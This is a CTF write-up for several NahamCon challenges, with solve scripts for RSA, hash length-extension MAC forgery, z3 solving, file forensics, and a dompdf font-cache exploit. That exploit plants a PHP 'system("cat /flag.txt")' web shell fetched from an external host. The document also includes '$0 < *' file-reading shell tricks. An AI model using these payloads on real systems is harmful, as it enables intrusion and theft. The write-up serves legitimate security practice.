Nahamcon CTF

    # PART 1
    e = 0x10001
    p = getStrongPrime(1024)
    q = getStrongPrime(1024)
    n = p*q
    ct = pow(b2l(flag1.encode()), e, n)
    OUT.write(f'*** PART 1 ***\ne: {e}\np: {p}\nq: {q}\nct: {ct}')

    # PART 2
    e = 3
    p = getStrongPrime(1024)
    q = getStrongPrime(1024)
    n = p*q
    ct = pow(b2l(flag2.encode()), e, n)
    OUT.write(f'\n\n*** PART 2 ***\ne: {e}\nn: {n}\nct: {ct}')

    # PART 3
    e = 65537
    p = getPrime(24)
    q = getPrime(24)
    n = p*q

    fl = round(len(flag3)/4)
    f3_parts = [flag3[i:i+4] for i in range(0, len(flag3), 4)]
    assert ''.join(f3_parts) == flag3
    ct_parts = []
    for part in f3_parts:
        pt = b2l(part.encode())
        assert pt < n
        ct = pow(pt, e, n)
        ct_parts.append(ct)

    OUT.write(f'\n\n*** PART 3 ***\ne: {e}\nn: {n}\nct: {ct_parts}')

    # we are given e, p, q and ct
    # we know p and q, do a normal decryption 
    phi = (p-1)*(q-1)
    d = inverse(e, phi)
    m = pow(ct, d, p*q)
    part1 = long_to_bytes(m)

    # we are given e, n and ct
    # small e, just take the e-th root (cuberoot)
    m,result = gmpy2.iroot(ct, e)
    if (result):
        part2 = long_to_bytes(int(m))

    # we are given e, n and list of ct parts
    # small n. Use FactorDB to factor N to get p & q.
    p = 8885719
    q = 12121807

    phi = (p-1)*(q-1)
    d = inverse(e, phi)

    flag = part1 + part2 
    for c in ct: 
        m = pow(c, d, n)
        flag += long_to_bytes(m)
    print(flag.decode())
    # flag{361862d054e2a9abe41cc315517cfa31}

    from z3 import *
    e= 65537
    # We are given d, phi and ct

    S = Solver()
    V = Int('q')
    S.add(2*(V**2) - 2 * V == phi)
    S.add(V > 0)

    if (S.check()):
        M = S.model()
        print(str(M))
        q = M[V].as_long()
        p = 2 * q + 1
        n = p * q
        print(long_to_bytes(pow(ct, d, n)).decode())
        # flag{8b76b85e7f450c39502e71c215f6f1fe}
    else:
        print("unsat: no solution")

    Can you break my hashed-based MAC?

    What would you like to do?
        (1) MAC Query
        (2) Verification Query
        (3) Forgery
        (4) Exit

    Choice: 

    KEYLEN = 64
    TAGLEN = 20 # SHA1() tag is 20 bytes

    ...

    # H(key || msg) == tag
    def vf_query(conn, key, first_part=None):
        conn.sendall(b'msg (hex): ')
        msg = conn.recv(1024).strip()
        conn.sendall(b'tag (hex): ')
        tag = conn.recv(1024).strip()

        try:
            m = unhexlify(msg)
            calc_t = hashed_mac(msg, key)
            print(f"Msg: {msg}  --> {calc_t} with key: {key}")
            msg = m
            # The message must inlude a given part in it. This would be the genuine message, with a known-to-be-good tag. 
            if first_part is not None and first_part not in msg:
                conn.sendall(f'Yoinks scoobs! Ya gotta include the first part\n'.encode())
            elif len(tag) != TAGLEN*2: 
                conn.sendall(f'Invalid tag length. Must be {TAGLEN} bytes\n'.encode())
            else:
                t_ret = hashed_mac(msg, key)
                return t_ret.encode() == tag, msg
        except Exception as e:
            conn.sendall(b'Invalid msg format. Must be in hexadecimal\n')
        return False, b''

    extend(appendData, knownData, secretLength, startHash):
    # Performs a hash length extension attack.  Returns the bytestring to
    # use when appending data.

    msg = b'bazooka'
    keylen = 64
    msg_hex = binascii.hexlify(msg)

    # I used the given signature as the extension, you can use it as the original message too.
    ext = b'I guess you are just gonna have to include this!'

    # get the tag for a known message 
    C = remote('challenge.nahamcon.com', 31837)
    C.recvuntil(b'Choice: ')
    C.sendline(b'1')
    C.recvuntil(b'hex): ')
    C.sendline(msg_hex)
    C.recvuntil(b'H(key || msg):')
    first_tag = C.recvline().strip()
    print(f"{msg=}  tag={first_tag}")

    # extend the message and predict the tag
    sha = hlextend.new('sha1')
    query = sha.extend(ext, msg, keylen, first_tag.decode())
    umac = sha.hexdigest()
    print(f"{query=}\n {umac=}")

    # submit the extended message and the tag as the proof of forgery
    C.recvuntil(b'Choice: ')
    C.sendline(b'3')
    C.recvuntil(b'msg (hex):')
    C.sendline(binascii.hexlify(query))
    C.recvuntil(b'tag (hex):')
    C.sendline(umac.encode())

    # get the flag
    C.interactive()

    # extend the message with the given key len and return the answer from the verification call 
    def verifyKeyLen(conn, msg, msgtag, keylen, ext):
        print(f"Testing with key length = {keylen} and ext = {ext}")
        conn.recvuntil(b'Choice: ')
        
        sha = hlextend.new('sha1')
        query = sha.extend(ext, msg, keylen, msgtag)
        umac = sha.hexdigest()
        
        conn.sendline(b'2') #verify
        conn.recvuntil(b'msg (hex): ')
        conn.sendline(binascii.hexlify(query))
        conn.recvuntil(b'tag (hex): ')
        conn.sendline(umac.encode())
        answer = conn.recvline().strip()
        print(f"{keylen=} {query=}\n {umac=} \n {answer=}")
        return True if answer == b'True' else False

    # Actual forgery by extending the message with INJECTION, with the key length we determined. 
    def forgeMessage(conn, msg, msgtag, keylen, INJECTION):

        sha = hlextend.new('sha1')
        query = sha.extend(INJECTION, msg, keylen, msgtag)
        umac = sha.hexdigest()
        print(f"{keylen=} {query=}\n {umac=}")

        conn.recvuntil(b'Choice: ')
        conn.sendline(b'3')
        conn.recvuntil(b'msg (hex):')
        conn.sendline(binascii.hexlify(query))
        conn.recvuntil(b'tag (hex):')
        conn.sendline(umac.encode())

    INJECTION = b'https://www.youtube.com/@_JohnHammond'

    C = remote('challenge.nahamcon.com', 31738)

    C.recvuntil(b'first_part: ')
    rand_words = C.recvline().strip()
    msg_hex = binascii.hexlify(rand_words)

    C.recvuntil(b'Choice: ')
    C.sendline(b'1')
    C.recvuntil(b'hex): ')
    C.sendline(msg_hex)
    C.recvuntil(b'H(key || msg):')
    first_tag = C.recvline().strip().decode()

    print(f"{rand_words=}  tag={first_tag}\n\n")

    # loop through different key lengths with arbitrary extension until we get a successful match
    key_len = 10
    while(key_len < 109):
        if (verifyKeyLen(C, rand_words, first_tag, key_len, b'abc')):
            print(f"Key length found = {key_len}")
            break
        else:
            key_len+=1
    # 
    forgeMessage(C, rand_words, first_tag, key_len, INJECTION)
    C.interactive()

    OUT = open('output.txt', 'w')
    FLAG = open('flag.txt', 'r').read().strip()
    N = 64

    l = len(FLAG)
    arr = [random.randint(1,pow(2, N)) for _ in range(l)]
    OUT.write(f'{arr}\n')

    s_arr = []
    for i in range(len(FLAG) - 1):
        s_i = sum([arr[j]*ord(FLAG[j]) for j in range(l)])
        s_arr.append(s_i)
        arr = [arr[-1]] + arr[:-1]

    OUT.write(f'{s_arr}\n')

    from z3 import * 

    S = Solver()
    l = len(arr)
    print(l)
    print(len(s_arr))

    V = IntVector('x', l)
    S.add( V[0] == ord('f'))
    S.add( V[1] == ord('l'))
    S.add( V[2] == ord('a'))
    S.add( V[3] == ord('g'))
    S.add( V[4] == ord('{'))
    S.add( V[l-1] == ord('}'))
    # add the remaining domain constraints
    for i in range(5, l-1):
        S.add(Or(And(V[i]>= ord('0'), V[i]<= ord('9')), And(V[i]>= ord('a'), V[i]<= ord('f'))))
    
    for i in range(len(arr) - 1):
        S.add( s_arr[i] == sum( arr[j] * V[j] for j in range(l)))
        arr = [arr[-1]] + arr[:-1]

    print(S.check())
    M = S.model()

    print(str(M))
    print(''.join(chr(x.as_long()) for x in [M[V[y]] for y in range(l)]))
    # flag{aad9ba9b3fdfa4cc6f7e2e18d0dcbbab}

(py3) % sqlite3 blobber.sqlite 
    SQLite version 3.32.3 2020-06-18 14:16:19
    Enter ".help" for usage hints.
    sqlite> .schema
    CREATE TABLE blobber (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                name TEXT NOT NULL,
                data BLOB
            );
    CREATE TABLE sqlite_sequence(name,seq);
    -- Only one row with actual content in the data (blob) column
    sqlite> select count(*) from blobber where length(data) > 0;
    1
    -- capture the content into a file
    sqlite> .output blob.hex
    sqlite> select hex(data) from blobber where length(data) > 0;

    (py3)% xxd -r -p <blob.hex >blob.bz2
    (py3)% bzip2 -d blob.bz2
    (py3)% file blob
        blob: PNG image data, 1301 x 128, 8-bit/color RGB, non-interlaced
    (py3)% mv blob blob.png

    (py3)% file tiny-little-fibers 
    tiny-little-fibers: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 2056x1371, components 3

    (py3)% xxd tiny-little-fibers| grep -i ffd8
    00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......

    (py3)% xxd tiny-little-fibers| grep -i ffd9
    0004c130: cf3f ffd9 6600 6c00 6100 0a00 6700 7b00  .?..f.l.a...g.{.
    00097ec0: 1b02 5816 72e1 1321 7115 e2f8 cf3f ffd9  ..X.r..!q....?..

    (py3)% printf "%d\n" $((16#4c134))
    311604

    (py3)% xxd -s +311604 tiny-little-fibers | more
    0004c134: 6600 6c00 6100 0a00 6700 7b00 3200 0a00  f.l.a...g.{.2...
    0004c144: 3200 6300 3500 0a00 3300 3400 6300 0a00  2.c.5...3.4.c...
    0004c154: 3500 6100 6200 0a00 6500 6100 3800 0a00  5.a.b...e.a.8...
    0004c164: 3400 6200 6600 0a00 3600 6300 3100 0a00  4.b.f...6.c.1...
    0004c174: 3100 3900 3300 0a00 6500 3200 3600 0a00  1.9.3...e.2.6...
    0004c184: 3300 6600 3700 0a00 3200 3500 3900 0a00  3.f.7...2.5.9...
    0004c194: 6600 7d00 0a00 0a00 0000 0013 a4fe 0014  f.}.............

    (py3)% xxd -s +311604 -c 100 -p tiny-little-fibers | head -1 | sed -e 's/00//g' | xxd -r -p | tr -d '\n'
    flag{22c534c5abea84bf6c1193e263f7259f}

    func echo(w http.ResponseWriter, r *http.Request) {
        ...
			case strings.HasPrefix(string(message), "!history"):
				indexStr := strings.TrimPrefix(string(message), "!history ")
				index, err := strconv.Atoi(indexStr)
				if err != nil || index < 1 || index > len(chatHistory) {
					c.WriteMessage(websocket.TextMessage, []byte("Error: Please request a valid history index (1 to "+strconv.Itoa(len(chatHistory)-1)+")"))
					continue
				}
        ...
func main() {
    ...
	flagStr := string(flagData)
	chatHistory = append(chatHistory, "User5: Aha! You're right, I was here before all of you! Here's your flag for finding me: " + flagStr)
    ...

    <?php system("cat /flag.txt"); ?>

    @font-face {
        font-family:'expfont';
        src:url('https://raw.githubusercontent.com/meashiri/ctf-writeups/main/files/exploit_font.php');
        font-weight:'normal';
        font-style:'normal';
    }

    % echo -n "https://raw.githubusercontent.com/meashiri/ctf-writeups/main/files/exploit_font.php" | md5
    f00d4e3ed0b0844e00eda7061397debb

    % curl http://challenge.nahamcon.com:30331/dompdf/lib/fonts/expfont_normal_f00d4e3ed0b0844e00eda7061397debb.php -o -      

    � dum1�cmap
            `�,glyf5sc��head�Q6�6hhea��($hmtxD
    loca
    Tmaxp\ nameD�|8dum2�
                        -��-����
    :83#5:08��_<�
                @�8�&۽
    :8L��

    :D

    6				s
    flag{a4d52beabcfdeb6ba79fc08709bb5508}

    % $0 < *

    % $0 < *